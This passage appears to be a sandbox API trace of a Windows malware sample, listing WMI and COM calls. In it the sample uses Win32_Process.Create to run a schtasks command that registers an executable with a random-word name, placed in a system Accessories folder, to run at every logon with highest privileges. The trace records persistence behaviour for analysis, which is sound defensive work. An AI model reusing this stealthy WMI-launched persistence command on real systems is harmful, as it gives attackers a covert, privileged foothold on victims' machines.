WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b310, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0161.505] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b310, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0161.505] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b310, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0161.505] IWbemServices:GetObject (in: This=0x1bbd9050, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bb91870, ppCallResult=0x0) returned 0x0 [0161.510] IWbemClassObject:GetMethod (in: This=0x1bb91870, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bb91be0, ppOutSignature=0x1bb7e690*=0x1bb91f50) returned 0x0 [0161.510] IWbemClassObject:SpawnInstance (in: This=0x1bb91be0, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1bc766d0) returned 0x0 [0161.510] IWbemClassObject:Get (in: This=0x1bc766d0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x278a4c8*=0, plFlavor=0x278a4cc*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x278a4c8*=8, plFlavor=0x278a4cc*=32) returned 0x0 [0161.511] IWbemClassObject:Get (in: This=0x1bc766d0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x278a4c8*=8, plFlavor=0x278a4cc*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x278a4c8*=8, plFlavor=0x278a4cc*=32) returned 0x0 [0161.511] IWbemClassObject:Put (This=0x1bc766d0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"yardadultbehind\" /sc ONLOGON /tr \"'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0161.511] IWbemClassObject:Get (in: This=0x1bc766d0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x278a558*=0, plFlavor=0x278a55c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x278a558*=13, plFlavor=0x278a55c*=32) returned 0x0 [0161.511] IWbemClassObject:Get (in: This=0x1bc766d0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x278a558*=13, plFlavor=0x278a55c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x278a558*=13, plFlavor=0x278a55c*=32) returned 0x0 [0161.511] IUnknown:QueryInterface (in: This=0x1bb91190, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bb91190) returned 0x0 [0161.511] IUnknown:QueryInterface (in: This=0x1bb91190, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0161.511] IUnknown:QueryInterface (in: This=0x1bb91190, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0161.512] IUnknown:AddRef (This=0x1bb91190) returned 0x3 [0161.512] IUnknown:QueryInterface (in: This=0x1bb91190, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0161.512] IUnknown:QueryInterface (in: This=0x1bb91190, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0161.512] IUnknown:QueryInterface (in: This=0x1bb91190, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bb91198) returned 0x0 [0161.512] IMarshal:GetUnmarshalClass (in: This=0x1bb91198, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0161.512] IUnknown:Release (This=0x1bb91198) returned 0x3 [0161.512] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0161.512] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0161.512] IUnknown:QueryInterface (in: This=0x1bb91190, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0161.512] IUnknown:Release (This=0x1bb91190) returned 0x2 [0161.512] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0161.512] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0161.512] IUnknown:QueryInterface (in: This=0x1bb91190, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0161.513] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0161.513] IUnknown:QueryInterface (in: This=0x1bb91190, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0161.513] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0161.513] IUnknown:AddRef (This=0x1bb91190) returned 0x3 [0161.513] IWbemClassObject:Put (This=0x1bc766d0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bb91190, varVal2=0x0), Type=0) returned 0x0 [0161.513] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b6d0, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0161.513] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b6d0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0161.513] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b6d0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0161.513] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b490, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0161.513] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b490, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0161.513] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b490, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.513] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b6d0, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0161.513] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b6d0, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0161.514] IWbemServices:ExecMethod (in: This=0x1bbd9050, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bc766d0, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1bc76980, ppCallResult=0x0) returned 0x0 [0161.785] IWbemClassObject:Get (in: This=0x1bc76980, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x278a870*=0, plFlavor=0x278a874*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x914, varVal2=0x0), pType=0x278a870*=19, plFlavor=0x278a874*=0) returned 0x0 [0161.785] IWbemClassObject:Get (in: This=0x1bc76980, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x278a870*=19, plFlavor=0x278a874*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x914, varVal2=0x0), pType=0x278a870*=19, plFlavor=0x278a874*=0) returned 0x0 [0161.786] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0161.786] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0161.787] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0161.787] IUnknown:Release (This=0x1a943398) returned 0x1 [0161.788] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bbd89e0) returned 0x0 [0161.789] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbd89e0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0161.789] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbd89e0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1aa0b190) returned 0x0 [0161.789] WbemDefPath:IUnknown:Release (This=0x1bbd89e0) returned 0x0 [0161.789] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b190, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1aa0b190) returned 0x0 [0161.789] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b190, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0161.789] WbemDefPath:IUnknown:AddRef (This=0x1aa0b190) returned 0x3 [0161.789] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b190, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0161.789] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b190, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0161.789] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b190, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bbd80a0) returned 0x0 [0161.789] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbd80a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0161.790] WbemDefPath:IUnknown:Release (This=0x1bbd80a0) returned 0x3 [0161.790] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0161.790] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0161.790] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b190, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0161.790] WbemDefPath:IUnknown:Release (This=0x1aa0b190) returned 0x2 [0161.790] WbemDefPath:IUnknown:Release (This=0x1aa0b190) returned 0x1 [0161.790] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0161.790] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0161.790] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b190, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1aa0b190) returned 0x0 [0161.790] WbemDefPath:IUnknown:AddRef (This=0x1aa0b190) returned 0x3 [0161.790] WbemDefPath:IUnknown:Release (This=0x1aa0b190) returned 0x2 [0161.790] WbemDefPath:IWbemPath:SetText (This=0x1aa0b190, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0161.790] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b190, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0161.790] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b190, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0161.790] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b190, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0161.790] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0b190, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0161.790] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b190, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0161.790] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0b190, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0161.791] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0161.791] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0161.791] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0161.791] IUnknown:Release (This=0x1a943398) returned 0x1 [0161.793] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bbd8a60) returned 0x0 [0161.793] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbd8a60, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0161.793] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbd8a60, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1aa0af50) returned 0x0 [0161.793] WbemDefPath:IUnknown:Release (This=0x1bbd8a60) returned 0x0 [0161.793] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0af50, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1aa0af50) returned 0x0 [0161.793] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0af50, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0161.793] WbemDefPath:IUnknown:AddRef (This=0x1aa0af50) returned 0x3 [0161.793] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0af50, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0161.793] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0af50, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0161.793] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0af50, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bbd8120) returned 0x0 [0161.794] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbd8120, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0161.794] WbemDefPath:IUnknown:Release (This=0x1bbd8120) returned 0x3 [0161.794] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0161.794] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0161.794] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0af50, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0161.794] WbemDefPath:IUnknown:Release (This=0x1aa0af50) returned 0x2 [0161.794] WbemDefPath:IUnknown:Release (This=0x1aa0af50) returned 0x1 [0161.794] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0161.794] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0161.794] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0af50, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1aa0af50) returned 0x0 [0161.794] WbemDefPath:IUnknown:AddRef (This=0x1aa0af50) returned 0x3 [0161.794] WbemDefPath:IUnknown:Release (This=0x1aa0af50) returned 0x2 [0161.794] WbemDefPath:IWbemPath:SetText (This=0x1aa0af50, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0161.794] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0af50, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0161.794] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0af50, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0161.794] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0af50, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0161.794] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0af50, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0161.794] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0af50, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0161.794] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0af50, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0161.794] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0af50, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0161.794] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0161.794] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0161.795] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 